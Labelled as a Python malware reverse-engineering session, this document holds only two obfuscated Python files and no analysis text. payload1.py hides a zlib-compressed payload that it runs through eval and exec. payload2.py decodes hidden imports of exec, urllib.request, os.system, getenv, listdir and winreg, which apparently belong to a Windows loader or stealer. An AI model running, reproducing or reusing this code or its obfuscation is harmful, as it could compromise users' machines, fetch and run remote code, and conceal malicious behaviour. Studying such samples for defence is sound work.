Malware code - Reverse engineering session Python malware 2022-11-13

payload1.py

from builtins import *;wxxwxwwxxxxwwxwwwwww,jijiilliljiilljijjiijl,S222SS2S22S222SSSSS,SSS222S222222SS2SS2S,mmmmnmnnmnmnnnmmnmmnmmn=(lambda lIlIlIlllIIlIIllIllIIlll:lIlIlIlllIIlIIllIllIIlll(__import__('\x7a\x6c\x69\x62'))),(lambda lIlIlIlllIIlIIllIllIIlll:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(lIlIlIlllIIlIIllIllIIlll)"),filename='\x6a\x6c\x6c\x69\x69\x6c\x6a\x6a\x6c\x69\x6c\x6c\x6c\x6c\x6a\x6a\x69\x6c\x69\x6c\x69\x6a\x6c\x69\x6c',mode='\x65\x76\x61\x6c'))),(lambda lIlIlIlllIIlIIllIllIIlll:lIlIlIlllIIlIIllIllIIlll['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda wxxxwxwxxxwxxwwxwxwxxxxxw,lIlIlIlllIIlIIllIllIIlll:wxxxwxwxxxwxxwwxwxwxxxxxw(lIlIlIlllIIlIIllIllIIlll)),(lambda:(lambda lIlIlIlllIIlIIllIllIIlll:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(lIlIlIlllIIlIIllIllIIlll)"),filename='\x6a\x6c\x6c\x69\x69\x6c\x6a\x6a\x6c\x69\x6c\x6c\x6c\x6c\x6a\x6a\x69\x6c\x69\x6c\x69\x6a\x6c\x69\x6c',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63'));mmmmnmnnmnmnnnmmnmmnmmn()(SSS222S222222SS2SS2S(S222SS2S22S222SSSSS(wxxwxwwxxxxwwxwwwwww(jijiilliljiilljijjiijl('\x76\x61\x72\x73'))),b'x\x9c\xdd\x1c\xdbr\xa3:\xf2=_\xe1}\xb2]\xf1\xa4\xb0\x00\x01\xa9\xf2\xd3Iv\xd79\x9e\xb8j2g\xe3\xdd\xa9\x94\x8b\x18<\x879\x18\xb2\xb63\xf6\xfc\xfdv\xb7$\xc0\x17.\xbe\x90M\x05\x81\x04B\x80\xd4j\xf5M-\xc2x\xe2\x86\x8bV\xfb[s0\xe8\xdf\r\x06\x83;\x0cx2\xb8\xeb\x0f\xfa\xb07\x9fz\xdf\xc3\xf8\x19J]\xe4\x15\xc1\xc7\x87\xc3\xe1\r\xec77\xf1\xcd\x10\xf6a\xdc\xfcv}}\xf9\xe9\xf2S\xebS\xeb\xb2\xdbn?=\xf5\xbc`^\xf8\x8a\x87\x87\x07\x06\x017\xc6\xc4\x05\xa6\xbb/\xfa\xee/\xdd\xe5\xb2\xf8etu\x87G\xff\x0e#(zG\xc5\xa0=!5\xfa"\xb7\x08>\x1f\xcd D\xd1l\x06)\xee\x18E\xf0\xecx\x1c\xcc^\xe2\xf9r<.\xfc\xfc\xe7\xcf\xf7\xf7\x9f?\xab\x18R\xd8\xe1\xe9\xbdom5\x9f_\x83p\x19D\x8bf\xfb\xea\xa7;/\xa9\x99x\xd9=\xc4\xf7\xb4\x8bsx\xf9\x03\xc1\x8b)\xf0)h\xb6r>\xba\x88\x82e\x18\xbc>o\xc3\xb7\xdd\x89\xa1#c\xd8\xa17\xa9W\x87\x07\xbf\xa2\xfd\xed\x0c\xef\xb8\n"\xcf_\xb7\x9a\xfe"t\xff\xbes\xfb\xa9}\xb1\x0f\xc8\x08\xa1 \xf8\x11\xe0\x11\x86\xc1\x8f\x1fa\x00\xf1\x07\x86N\xe8\xfe\xf4\x0f\x01\xce\xe3h\xf4\x88\xdb(I1z\xfc\xc0\x10\xf2_\xe7_\x0f\x81\x106?\x85\x04\x13\x90\xa0\x18\x80\xd4l^\xfd\x88\x83(\xf7\xe1>l8X\xfbD\r\x06Do>,`\xc3\xe0e\x16O\x0e\x81-~\x87>A\x9f\x81\xb3\x0f\x0c\x9e\xf9r\xb1\x0f4ElC\x82&\x12\xc0\x11\x1c\xe7\xa3\x82g\xe9\xc6\xe1\xf4P\x00\rcM\x8b5\x8c\x86Z\x0c\x896\xc4\x0b\x88\x0e\x07T\x10L\x16n\x14\x9c\x02\xa8\xdcW\x1c\x00\xa8\xfcw(@\xfd\x9a\x06\xe1\xda\xff3z=d\xa0\x85@\x87\xc2\x10\x8f\xb0\x8f\xa1/2>0>\x85q\xbc{\xb7\x04\x9d\x88\xfd\x8d\x88\x19\x8e\x04+\x84\x93\xecKvE\x89V\xb3\xad\x8d\x9d\xb11f\x10\xba\x90:cm\xdc\xc5\xef\xed\xe6\x96\xbf\tn\x95\x97\xc2\xb7\xb1\xb1\ro\xb5 \xd8\x10\x18\x145ws\xcf\xf2\xbd\xdc!\xd6zn\xea]\xe61\x9by\xba\xc6\x1c\x10V=\x7f\x12{~\xabiO\x97\xbb\xc8\xd9\x16\xd1\xc6\xf1q\xb1o\xe2\xaf\xf7\x8aa\xe7\xc6\xbes\xf6\xce\x13\x10\xe1`\xedw"\xff%\xee\xf8\xdf#w\xde\xc1ft\xe6\x81\xd7\tC\xb7\xb1\x9c\xc7/\xb3\xa0\xa1\x1a\xdf\x98\xc5\xf3i)\x8a\xc1P\xf8\xa4\x95\x97\x02\xe4E\xf4\xd5i\xb8\xe8pp(\xcavsO\x01\x87eNu\x06\x87\r\x87!S\x0e\x87%\xcf\xbbph\xec\x99@VVV\x83\xc39\x10\xe9\x8b:\xbf\xa8\xe2\xa6M\xc1\x82\x90M\xd3\xf3$\xbf\xac:O(\xa4=\xbb\xcbW\xec\xd7\xa4?\x7f-\xaate!h\x11$\xba\x04\x19\x82\xc9\x94\xd7\x98:*_\x82\xb6JY\xb3"h\xdf\x03H\x8b\xbe\xc3\xb9\xc5\xf8\x94{L\x83W1>\x81\xe0p\xc64\x88=K\xe3S\x8bY\x06\xdcc\xdc\xb4\xba\x96\t\xb1n\x19\xa5\r\xaf\x81\x85U\x1c\xa5g,e\x8c\x91au\x81U\x99c\x0eg\xfa\xd8 &\xb6\x93{\x96\xef\x15"\xaf&\xc9d\xf78&&I\'P\xc9\xe5"\x08;\xfe\xcc\x8d:3\x7f\t\xc3\xaa\xf33\xf2\x97\xfe\xf7d\xa0\xc5\xd5Hf5)\xe0\xedKU\xeb\xd8\x93e\n]\x92\xd9\xae\xa4\x05\x96$\xb7\xa6$\xc5f\x86L\x97\x955\x8e \xd3\xdb\xc7\xbb\xa71\x9b\xb4\xc4\x82k\x1f)\n/}\xef\xbbhZ\xd3\x9f\x04\xf1\x9f\x135Hf\xb1\x07\x82\xc7Y\x18\x92:\xba2e\x129\xb8:\xcf0\xa4\xa2\xb2\xdd\x03\x90\xa8\x906\xa3\xd6%\x940\xd2\xc1P\x17\x13j\x19\xa8aG\xf6\x04\xb7\x80i\x18\xd0\xd9\xbe\xc5Ka]lH\x06\xd8\xfe\x08\x01\xb8\x00h\x842\xc28 Si\x9eN)\x88\\)A@\x9a\xaeIzn\xc1\x99E\xea\x11\xdf\xcd\xad\x9f\xb4\x1cI\xe9\x9fJl\x10\xa00\x80\xd6\x10\x83\xea0\xa4\x18\x92\xe2\x1em"\x93xCv[\xac%H:\xc9\xa4\xfc\xa5d2[\xd2S\xbcg\xc9\xa1R\xa5,?\x14\xb8y\xf85\x84\x1a\x0e\xa1\xc6\x1a\xedXe\xb8\x82\xea\x13l\x0b\x10\x19t\x95\xfa\xa1ff\x08\x84R\x0c\x98\xe28\xf2\x9e\x82Z\x95\xb2\x07@\xadd\x1c\xafWk\xdcV\xb8\x89\xb3\xfc1\\HZL\xcb\x06\xc2\x02\xb5\x05\x02\xd3\xe5(\xbd\x9aUHL>\xd6\xdf\xd3F\xdf\x16u\xb9?\x9e\xf0\x01\x87\xebr\x1f\xc9_y\x9dr-\xfbjn\x91Q\x92\x18 X\x19\x86}\xf7\xe7Q\xb0*E22\xfa\x10\x85\xd3\xc84\xa3\x91\x8c\x8by[\xb9\xe7@D5\xfc\xd4\xb9\x12\x81\x9c-$\xcc+g\x9f\r\x01gd2!\xb3I4\x93\x16\x94\xe8H\x1c\x04}\tu"n@\xcaN\xc3\xbe@@3\xc4\x04\xf8\\\x10\x16\xb0\xb6m\xf3M\x0ec\xd3\xc9@!\xadm\xd8\x99\xc4\xd8vr\xdf\x98e\x15\x83A\x9a~\xe5\x8e\xa2HX\x82\xee\xa5D\xc2)WZ\xcb\xea\xd4\x17\xb2\x10\xcaD\x89`t$\xca\xe8\xdc\x06\x95\xdb\x81\xb4\x12\xb9*@\xe4\x11m\x8f#5=\n{\x01\xce,\x17\xfe\xeb\x7f\xfd\xf9\xbb4\xba\xe6\xd3\xc0\x95`\x17\xab5q\x0b\xda)ku\x82LZy\xb0\x16q1\xaaTR#\xaa\xde\xaa\x8c.\xa3\xe5\xf2\r\xe0\x9f\x11~\x8c-\x9d\xc1\x90T\xd5\xc9\x08Lee\x0f\xa2\xbcG\x8c\x08c\xca\x81\xdc\x1bp\xf0)\xc6*\xdd\xbc*\xed\xaf\xde1pR\xe2\x8e2\xf8Y\x99\xc3\xdc\x82SQ\xd9\xaa\x8a\xfcQ\xf0\x99\x18\xae\xe1@p!Ldp\xe51\xa1;*wrv(1\xc6|\xe0o\xa0\xc1\xb3\xd2!sT\xeb\xb8hA\x12\xf0\x1a\r\x91"V!\xbd2J\x81|T\x1b\x81(\xc0\xcbOhc\xf3\xe6\x06\xa5\x7f\x8c\xc4$\xcd\x96S\xd9\xbb\xb1\r\x1e\x01\x1e\xd0\xde\x8d\xba\xba\xdf\x05\xb8\xbb\xd4\xb5.\x04G^9t\x85\xd7\x0e\x9dO\xe4Y=\x08\x0ebz\xd7rjj\xa1\xe1\x19>\x1d\xbe<K\xaf}y\xed%\xf7\xbd\xf2\xf6\x85\xee\xec\xd9s\x1b\xa4{\x0e\xe1\x13\x10\xd1\xa7\xe1\xc3\xf4\xcd\xeb\xfdu<\xa6\xea\x96e\xd9\x10\xac\xad#\x8d\xad$\xa6\xeb\x1a:\xc7DKa\x97O\xc8\x88\xf4\xcc4\xc36\x0c\x88q6\x02\xd88\x9f2\xcd4A\xcfr,\x0e\xa2\x1e\xb3t,\x0by:]q!f\xd5\xd4\xb1\x89U\xd1J\xac\x8ai\x10\xf9v]\xb4\x8a\xd5\x85\xacS\xc3@~\x8b<\xd90(\x169\x86\xca7\xe8\\\x9cUFV)3\xa7\xde\x1da\xff\x8ch\xca\xa9\x9a\xa2\x92XMu\xcd3U\xc5\xab\xa3:\xa3\xd9\xe6\xa0#Y4\xc1\xab\x8dQ{2\xc6\x0e\xe9Q;\xb9\xefR\xb4\xcegX#1\xfd\xf6(\xd5\x08\xd2!\xdee\x13R\x9a\x07\xccU\x18\xdd\x90\xee\xe1\x8bc\xed\xba@\xe2>\x81\xe6\xd9\x1b\xf4\xce\xce\xe4nRD\xab\x16\xaa\x072\x17\xcd\xc7\xd6\xc7\x92R\xb6\x93M\xb3W\xc4\x90\xea\xa0\xe8\x13\xf3$9\xab?\x10}M\xea\x1e\xf4s\xff-]P\x0eV2\xb4\x03>\x90\xdbduA6I\xba\xfb\xa6S\xa6\xe8\xe7\xc2\x81\xc0\xe9d.bp\x86\x86$}7\xf7\x1cZ\xab\xd2@\r\xa9i\xe9\x99\xa9R}Kk-*\xcb\x0e\x9fVM\xe8\xccJi\xf5\xd2J-,\xd5p\\\xe7\x9b\x1cr;O\xfa\xc7\n\xdf,\xe1(K\xdb\xa9\xc0R\x06S]\xaa\xa6v\xd6\xb2o\xa6\xfe,U\xcaV\xf4g9b\xb4\x93u\x9e\xeb\xf6)#~(\xfd\xdd0\xc19,\x88\x87\xa7BO\xcb\xcc\n\x99\xe6\xa6\x93\x95NF\x8f\x14zee\xad\xaa\xd0\x93\xe8%\r\xfa\xe4\xb7/\x1c\n\xe1\xfc\x18>\xd6$\xfa\xd7GL\x94\x14q08\xd5\xb5A\xcbX~T\x83\x99l,\xa1R\xc6\xb5\xa1\xac\xacq `\x84mU\xb8\xfeJ\x8f`\x10\x14\x0f\x1fs\x85\xfc\xddNt\x97\r.\x9e\xd9\xec\x1a\xf5\x19\xcb:e$\x101"c\xe8Z\x9a\x1c\xd7\xa5\xd4\xdb\x1a\x0b\xfa\x8d\x81\x8dqR\x00\xddq\xed\xdd\xdc3q\x0b\xf2\x83\x84`\x93Pl\xc3\xbbq>\xdd\xd8\xcd\xfd?9\xf6\x1e\'\x8ei8\x99wJ\xd7I_\x8aP\xf9X\xc8\xa9\x8d\x13G\xab"C\xa6\x99\xfa\x8d(\x1be\x96\tT)[\x99\t$\xa35\x94S5bj\xa4/\xbcF\xce=^\xb36\x86\x8d\xd1\xb9!\x9f\xd7\xa4i\xbb\xbck\x9d\xa2k7SW\x9a0]\xe1p*\xf3R\xb4\xd6\xcc\xf6\xb4\x99\xba\x9ae\xdd!\xca\xcaV\x9c\xd8?\x02|\xc6\x04\x14o\xdd\xe8B\xda55S\x03U\xbck\xc2Q\x97R\xe3\x92\x89|"\r\xe5\xce\x86y<=We \xad\x07et\xceO\xa2\x14\x85&\'\x10\x81M\x1dc\x91\xa6g\xd9|\x8cE\xa8C}\xd3\xa1W\xb9i\x80\\\xd75\x99a\xa2:gxhhCWbK\xe7Sh\xbe\x81\xb9&\xb9\xfaq\x03r-K\xa7r\xe8\xac\xc1\xc8\xf9\xcf\x872\xcad\xe7\xc03>=\x01\xe2"\xf7Oc\x90k9]\x88\xfcq\xad\\L\xd6el\xf2\x9cF\xf6\x84@\xf6I~\xbbSk+q\xa9%\xd2\xc13Z\xbe\x08\xcf\'I\xacp\\L\x0e\xa9@\xf7\xea\xc0\xf5\xba\xa6\x842\xa6\xd4m\xe7M;sU\x17\xc9\x07^_\xdb\xf8\xcd\xb6c\xcbT\xbc\x13\xce/~\x82R,0\xb9\n\xd1\xcf\xb7F(/)\x91).hQ\xff\tc\xcc\xd9\xa3B(7 \xa5\xa9*\xf5\xbfJ\xd9\x8a\xea\xff1l\xed\\\xcc\xacI+\x8a\x85\x1f\x92XB\x8b\x0b\x8cO\x14\r\x14\xcb\xd7\xcc\xd4\x0bRi\xfeY\xcf\xf4\xb2\xb2\x07x\xa6\x1fm\x15@\xdf\xe6S\xe0\x87j\xef\x80\x88\xea\x9d \xb1\xf5[\xaf\x95\x8bdv\x81\x90cn\xfag+4\xadR\xf6\x00+\xd5\xb6\xf9\xe0\xe1!\xf1\x07|x8\'O\xd9r\xbe\x10s)\xc2AC\x9ca\xaafU\xde\xa1\x818T\xfaU:\xdbT\xa6g\x9ds!J!\xfe(k\xa52\x1d)+f\xe2fkn.D++[u!\xda\xf1\xba/\x109\xd3\xf0\xcc\xda\xdc?<\x08>\x04\x91z\xf2,{Ewk\xc03\xce@V\xc7ie\x10X\xb9Mn\x06\xcf|B\x1f\x9cZ\x9a\xd5E\xd9\xd42\x80Tq\xd22\x1d\xcb=\x05+G#\xb5\xda\x8d~d2R\xbf2y\xd3\x15\xb4G\x08D\'4Y\xf8.3\xb5jZ\xed[?I:f\x08q3\xb5\xca:fj\xdfV\xc3\xc2\xca\x0c\xa1\xb2\xb2\xf5)\xc0\xdc\x06\xf41,Mw\xd9\x94M\x01\xb1\x1cR\x8f,\x0bW@9\xcc\x07\xb4B.\x889\xe8-\xce\xd8\xd44AQb\xdc\x05\x1d\xce\x01u\xce\x01\x85\xa8\xcb=\xdd\x80\\\r\xa2\xda\x9cp\xb2C\xcf\xdf\x18\x90\xbe<\xcf\xe6TwRI~\xdb\xa3p\xff\x9c|\xca\xd9\x1f\x84\xb3\x988j\xd1\x7f\xe5\xa2\x03\x86~\xc5\x96c\xd8\x89\x83\x8am\xea\x16\xb9\x83cwb\x07\x8b%\n\xb5\xd9\x02\x94\x05@i\xfei\xc8\xe6\xd6\xa3%\xa1f\xff|\nq\x10\xabe\xc4\'0\xa1\xb8lZ\xe7\x0c\x1es\xca\xb3U-\xd5TK3\x95\x854\xbb&\xa1J\xd9C\xbcc\x0f\x864\xb0\xa0r\x08\xef,\x1ch\r\xe3\x0cPE\x02/l_L\xe7\xf1\xac\x11/\xae^\xdc\xe5\x9f\r\xf1c\xb8F\xb0\x98\x06\xa1\x7f\x11L\x1b{\x17\x8a5\xfe\xd6\xa3\xdfN\xdc\x0c\xa5k#F7\xd7\x17\r\xd8\xf6\xb8\xea\xc3P\xf6\xfci\x83x]\xba\xd0\x1bOZm\xf1\x10~\xbb\xb7\xdf\xa1\xbe\xf5-w\x05bK\xaa\x98\xdb\x9a\xe7\xfd\xe7v\'\xff!\xe5u\xd4OL\xb0\x10\xd0%\x06+\xe2\x05s\x7f\xb2\x8c\xe7\xbfz{\x17\x84\xb4\xb0\xa2\xa2\xe44\x9e7\xc6\x8d j\xec.\x10j\x91C\n\xfa\xa2\xc4I"\x1b\x8a\x9bX\xaa\x88=\x13P\xcf\xfc\xc0%\x8bp\x9d\x07\x80\xa4N\xed\xe4\x15\xca\xf9]nbV\xba\x87\x95\xbbT\xe3IU\x88\\\x03.\xf3\xbe\x99Vj\xda\x88b\xd5\xf1\xad\xbd\xefo\xbb\x91\xd7\x10\x86+T\xb2\xfad\xc7"K\x96x4\xcamY\xdav\xdc\xe6\xfe\xf2u\x1e\xedo\xc3E\xa6@~\x17*a^\x89\xf3\x98J\x1c\x93\xdeK\x8fb\x05\xc4\xe3HaX"^\xa9[r\x81DO\n\\\x8f\xb2\xbc\xfa\x03\xc1hD\xffHk\xe5\xf4\x89\xd0\xce\xa3\xe4\xf7*x\xd9.B\t\xb5&C\xbe\\n\x8fm\xd1\xa7C\x1a\x928\xc4i\x88\xd2\xa8\x1fj\xbdo\t\xdc\xd2\xf9\x149\x1d\xaafE;)N$.\tj:p\x95\xdeL\xc5K\x01\x00\xdc\xd2\xbb\xd8e\xa2\xc3\x90\x04\x115\x82.\x0c\xc2\xb4\x84\xfc\x81\x1c\x13\x9b8M\xef\xae\x12\xf3\xaa\\\xc7\xb7[\x011=),\xaf\xb2\xb3\xd7\xe9\xdd\x81\x9c\xb0\x16\x13D81\x84[z_\x8a\x0c\xa9\xd8\x90\xa9<\xceq\xd3\xe48=G1\xe6\xf4\xef.\x9e\xb2\xd8\x94\x87\x00\x979=\xbc\xbfK\x04\x96e\x06\x97\xec\xdf\xcf\x822\x08\\[\x05@I\xf7\xae\x05\xa1R\x9d\x19\x10\xee^2W\x9b\x0c\x00\xcc\xe9\xf8\x11\x90\xf5 \xfa.\xe9\xcfl\xc3\x1c\xd4v\x17\x8di:\x98\xa6W\xaby\xb0\xf4[{\x96\xfc\\\xbd\xce\xc3\xf8\xc5\x8fZ\xbbb\xb6\x12\xc0\xdbWs\xdf\xf5Z\t\'\x11\x0e(\x19\xbc\x96G[\xb4\xf9F0\x00\xa2\xfat\x9emq\xb0w\x19v\xeb@\xce\x06b/iW8\xbdF\xbf\x05x\xde\xb7\x9c\xd3\xc2\x1f\x93<[\x1a\x94\x02\xe9\n\xae\xca\xe5\r\xd1\x02\xe5=A\xe6w\x9a\x86D\xff\x88l3\xa6\xee_\xbe\xd7\xebg6Az\xe8\xa6\xebys\x7f\xb18\x94]S\xa3\xce\xd5\x10\xaa\xc8_\xfe\xafn/w\x19\xe8\xd5?\x7f\xbf\xfd\xf7\xf8\xb7?\xbe|\xb9\xbd\xff:\xfe\xe3\xe1\xf6\x8bz\x88\xf5\x12\x1bQ\xe6A\xdc\xa8\x04\xa2\xcb\xb8\xe0\xbd\xbf\x01\xba,\xfd\xdf\xfd_\xb7\xeb\x16V\xa1\x83\xaf\xecH?\x93\xc4\xfd\xae\xdf\xc9\x7f\x03V\xec\xf1K\xff\xeb\xadhG~\xc1\x07\x7f\xf9/7|\xf5\xe1K\t\xb2S\xf56H\xce*Y\xf6%\xa7uh\x00\xa5\x0f\x90PB\x92\x0b\xc900\xa0\xe3M\x82\xb6\xff\xe3_n\xff1~\xf8O\'\xc3\xae\x8f\xe9o\x0e\xbd\x0c\xbd\xce\r\xece\xc6\t\x99\xbb\xdc\xe0\x06\xfd7G\x87P\xa9\xbf\xdb\x17\xd2? \xfd\x05\x9e\x10\xadz{\xa5\xa9K\xe9\x03\x1b+\x9fX\xa8\x156\xfcr\x0f_\xbc\xd8G\xc5r\xbe\xd6\xbe\xd8\x1d\xfe\xb9E\x97\xf3_b8\xe5\x0c\xb8\xdc\x07\xfd\xf5\xc4\x7fY*\x89p\xb1\xb8\xf8\x1f#\xbd\xb3\x80'))

payload2.py

locals()['oDOooDOOOOODDDOoDOoDOD']=globals
oDOooDOOOOODDDOoDOoDOD()['NMMNMNNNMMMMMNNNNMMNMNNN'[::+-+-(-(+1))]]=getattr
oDOooDOOOOODDDOoDOoDOD()['wwwwxxxwxxwwwwxwww'[::+-+-(-(+1))]]=dir
oDOooDOOOOODDDOoDOoDOD()['wxwwxwxxxwwxwxxwxw']=locals
wxwwxwxxxwwxwxxwxw()['mmnnnmnmnmnnmmnnmnn']=__import__
oDOooDOOOOODDDOoDOoDOD()['llllIlIlllIIllIIIlIlIIlI']=mmnnnmnmnmnnmmnnmnn('builtins').vars
oDOooDOOOOODDDOoDOoDOD()['XWWXXWWXWXWWWXWXWXWX']=''.join
oDOooDOOOOODDDOoDOoDOD()['mmnnnmmmnnmmmmnmnnnnmmn']=NNNMNMMNNNNMMMMMNNNMNMMN(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]),wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]))[wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))])).index('loob'[::+-+-(-(+1))])])
llllIlIlllIIllIIIlIlIIlI()['XWXWXWWXWXXXXXWWW']=NNNMNMMNNNNMMMMMNNNMNMMN(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]),wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]))[wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))])).index('eslaF'[::+-+-(-(+1))])])
wxwwxwxxxwwxwxxwxw()['OO0OOooOoOO0oo0oOO0oO']=NNNMNMMNNNNMMMMMNNNMNMMN(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]),wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]))[wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))])).index('eurT'[::+-+-(-(+1))])])
wxwwxwxxxwwxwxxwxw()['LLIJJILJIIIIIJJLLL']=NNNMNMMNNNNMMMMMNNNMNMMN(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]),wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]))[wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))])).index('elipmoc'[::+-+-(-(+1))])])
wxwwxwxxxwwxwxxwxw()['XWXXXXXWXXXWWXXXX']=NNNMNMMNNNNMMMMMNNNMNMMN(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]),wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]))[wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))])).index('rts'[::+-+-(-(+1))])])
oDOooDOOOOODDDOoDOoDOD()['wxwwxwxxwxxxwwxwxxxw']=NNNMNMMNNNNMMMMMNNNMNMMN(mmnnnmnmnmnnmmnnmnn('iicsanib'[::+-+-(-(+1))]),wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('iicsanib'[::+-+-(-(+1))]))[wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('iicsanib'[::+-+-(-(+1))])).index('yfilxehnu'[::+-+-(-(+1))])])
wxwwxwxxxwwxwxxwxw()['ooOOOoDDDoDoDoooODDDDOOoo']=NNNMNMMNNNNMMMMMNNNMNMMN(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]),wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]))[wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))])).index('lave'[::+-+-(-(+1))])])
oDOooDOOOOODDDOoDOoDOD()['S2S2S2SS2SS2222SSS']=NNNMNMMNNNNMMMMMNNNMNMMN(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]),wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]))[wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))])).index('taolf'[::+-+-(-(+1))])])
oDOooDOOOOODDDOoDOoDOD()['IIJIJILJLILJLILLLJLLIL'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'315f375f345f365f395f375f365f395f392b282d315f375f345f365f395f375f365f395f3829').decode('8ftu'[::+-+-(-(+1))]))))]]=NNNMNMMNNNNMMMMMNNNMNMMN(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]),wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))]))[wwwxwwwwxxwxxxwwww(mmnnnmnmnmnnmmnnmnn('snitliub'[::+-+-(-(+1))])).index('cexe'[::+-+-(-(+1))])])
oDOooDOOOOODDDOoDOoDOD()['IIJIJILJLILJLILLLJLLIL'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'335f315f335f385f315f325f375f355f375f362b282d335f315f335f385f315f325f375f355f375f3529').decode('8ftu'[::+-+-(-(+1))]))))]]('tixe,nepo,egnar,cexe,rid,lla tropmi snitliub morf'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'302d282d3129').decode('8ftu'[::+-+-(-(+1))]))))])
oDOooDOOOOODDDOoDOoDOD()['IIJIJILJLILJLILLLJLLIL'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'325f305f365f365f305f325f355f335f315f392b282d325f305f365f365f305f325f355f335f315f3829').decode('8ftu'[::+-+-(-(+1))]))))]](wxwwxwxxwxxxwwxwxxxw(b'66726f6d2073797320696d706f72742065786563757461626c65').decode('8ftu'[::+-+-(-(+1))]))
oDOooDOOOOODDDOoDOoDOD()[wxwwxwxxwxxxwwxwxxxw(b'4c494c4c4a4c4c4c494c4a4c494c4a4c494a494a4949').decode('8ftu'[::+-+-(-(+1))])](wxwwxwxxwxxxwwxwxxxw(b'66726f6d2075726c6c696220696d706f72742072657175657374').decode('8ftu'[::+-+-(-(+1))]))
oDOooDOOOOODDDOoDOoDOD()[wxwwxwxxwxxxwwxwxxxw(b'4c494c4c4a4c4c4c494c4a4c494c4a4c494a494a4949').decode('8ftu'[::+-+-(-(+1))])](wxwwxwxxwxxxwwxwxxxw(b'66726f6d206f7320696d706f727420676574656e762c2073797374656d2c206e616d652c206c697374646972').decode('8ftu'[::+-+-(-(+1))]))
oDOooDOOOOODDDOoDOoDOD()['IIJIJILJLILJLILLLJLLIL'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'375f345f365f335f305f365f365f325f385f372b282d375f345f365f335f305f365f365f325f385f3629').decode('8ftu'[::+-+-(-(+1))]))))]](wxwwxwxxwxxxwwxwxxxw(b'696d706f72742077696e726567').decode('8ftu'[::+-+-(-(+1))]))
oDOooDOOOOODDDOoDOoDOD()['IIJIJILJLILJLILLLJLLIL'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')1-(-0'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')8_3_0_9_6_7_2_8_3_9-(+9_3_0_9_6_7_2_8_3_9'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'395f395f305f355f395f325f325f375f305f332b282d395f395f305f355f395f325f325f375f305f3229').decode('8ftu'[::+-+-(-(+1))]))))])))])))]]('eciohc tropmi modnar morf'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')4_1_2_2_3_5_2_5_4_6-(+5_1_2_2_3_5_2_5_4_6'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(')0-(-1'[::+-+-(-(+ooOOOoDDDoDoDoooODDDDOOoo(wxwwxwxxwxxxwwxwxxxw(b'315f375f325f315f345f385f365f365f385f322b282d315f375f325f315f345f385f365f365f385f3129').decode('8ftu'[::+-+-(-(+1))]))))])))])))])
